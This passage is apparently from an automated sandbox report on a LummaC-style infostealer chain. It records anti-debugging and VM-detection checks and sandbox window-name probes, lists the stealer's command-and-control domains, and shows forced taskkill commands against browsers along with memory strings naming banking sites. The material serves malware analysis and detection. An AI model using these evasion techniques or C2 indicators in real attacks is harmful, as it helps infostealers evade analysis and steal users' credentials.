Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F9C2A2 FindFirstFileExW,	12_2_00F9C2A2
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD68EE FindFirstFileW,FindClose,	12_2_00FD68EE
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_00FD698F
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FCD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00FCD076
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FCD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00FCD3A9
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00FD9642
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00FD979D
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_00FD9B2B
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD5C97 FindFirstFileW,FindNextFileW,FindClose,	12_2_00FD5C97

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00F642DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: OLR88CERN7VQFRQ38J.exe, OLR88CERN7VQFRQ38J.exe, 00000003.00000002.2405341861.0000000000327000.00000040.00000001.01000000.00000006.sdmp, ENORVNMU067PBMHUGECCERYC06W3ZY.exe, ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2492334182.00000000008B6000.00000040.00000001.01000000.00000009.sdmp, BF3BS0M5707K28RGW9.exe, 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmp, aae25c676b.exe, aae25c676b.exe, 00000009.00000002.2563291063.0000000001003000.00000040.00000001.01000000.0000000F.sdmp, 7d61336cf8.exe, 7d61336cf8.exe, 0000000A.00000002.2635121999.0000000000E06000.00000040.00000001.01000000.00000010.sdmp, aae25c676b.exe, 00000015.00000002.2721448202.0000000001003000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: aae25c676b.exe, 00000009.00000003.2562081008.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562260264.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562821885.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWFD
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562574422.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562260264.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562821885.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017B3000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849118022.000002EE4E220000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.2849118022.000002EE4E264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
Source: firefox.exe, 0000001A.00000002.2852111919.000002EE582C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001A.00000002.2849118022.000002EE4E264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001783000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: aae25c676b.exe, 00000015.00000002.2730364070.000000000176B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: firefox.exe, 0000001A.00000002.2849118022.000002EE4E229000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.B
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^)
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: OLR88CERN7VQFRQ38J.exe, 00000003.00000002.2405341861.0000000000327000.00000040.00000001.01000000.00000006.sdmp, ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2492334182.00000000008B6000.00000040.00000001.01000000.00000009.sdmp, BF3BS0M5707K28RGW9.exe, 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmp, aae25c676b.exe, 00000009.00000002.2563291063.0000000001003000.00000040.00000001.01000000.0000000F.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635121999.0000000000E06000.00000040.00000001.01000000.00000010.sdmp, aae25c676b.exe, 00000015.00000002.2721448202.0000000001003000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2202977062.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

Code function: 3_2_04A006CE Start: 04A0077A End: 04A006F8

3_2_04A006CE

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

Code function: 3_2_04A00E3E rdtsc

3_2_04A00E3E

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe

Code function: 6_2_00BD287D LdrInitializeThunk,

6_2_00BD287D

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FDEAA2 BlockInput,

12_2_00FDEAA2

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F92622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_00F92622

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00F642DE

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F84CE8 mov eax, dword ptr fs:[00000030h]

12_2_00F84CE8

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FC0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

12_2_00FC0B62

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F92622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00F92622
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F8083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00F8083F
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F809D5 SetUnhandledExceptionFilter,	12_2_00F809D5
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F80C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00F80C21

Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: ENORVNMU067PBMHUGECCERYC06W3ZY.exe PID: 5636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d61336cf8.exe PID: 1468, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2147367014.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

12_2_00FC1201

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FA2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00FA2BA5

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FCB226 SendInput,keybd_event,

12_2_00FCB226

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FE22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

12_2_00FE22DA

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe "C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe "C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe "C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000995001\num.exe "C:\Users\user\AppData\Local\Temp\1000995001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

12_2_00FC0B62

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FC1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

12_2_00FC1663

Source: d7c50276ff.exe, 0000000C.00000000.2619556994.0000000001022000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: aae25c676b.exe, aae25c676b.exe, 00000009.00000002.2563481565.000000000104B000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: d7c50276ff.exe	Binary or memory string: Shell_TrayWnd
Source: OLR88CERN7VQFRQ38J.exe, OLR88CERN7VQFRQ38J.exe, 00000003.00000002.2405341861.0000000000327000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: IsProgram Manager
Source: BF3BS0M5707K28RGW9.exe, BF3BS0M5707K28RGW9.exe, 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: &Program Manager
Source: firefox.exe, 0000001A.00000002.2838376773.000000FE603FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 7d61336cf8.exe, 0000000A.00000002.2635121999.0000000000E06000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: E&Program Manager
Source: 7d61336cf8.exe	Binary or memory string: E&Program Manager

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F80698 cpuid

12_2_00F80698

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe VolumeInformation	Jump to behavior
